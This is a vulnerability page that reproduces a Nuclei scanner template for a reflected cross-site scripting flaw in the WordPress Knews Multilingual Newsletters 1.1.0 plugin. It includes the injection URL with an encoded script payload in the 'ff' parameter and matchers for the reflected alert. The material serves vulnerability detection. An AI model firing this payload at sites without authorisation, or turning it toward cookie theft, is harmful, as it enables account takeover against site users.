wp-knews-xss: WordPress Knews Multilingual Newsletters 1.1.0 - Cross-Site Scripting

2025-08-01 WordPress Knews Multilingual Newsletters PoC Public

Description

WordPress Knews Multilingual Newsletters 1.1.0 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: wp-knews-xss

info:
  name: WordPress Knews Multilingual Newsletters 1.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Knews Multilingual Newsletters 1.1.0 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - http://web.archive.org/web/20210213220043/https://www.securityfocus.com/bid/54330/info
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-knews-multilingual-newsletters-ff-parameter-cross-site-scripting-1-1-0
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wordpress,xss,wp-plugin,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/knews/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Knews Multilingual Newsletters'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402204531ed91f2dc47830039bd7f3f526e7a51b275fab87b79f760fec4dcc37e5b650220416a1008fe7d305c08afa628af6637a62d64f924318265377772143ce93b8691:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/wp-knews-xss.yaml

References

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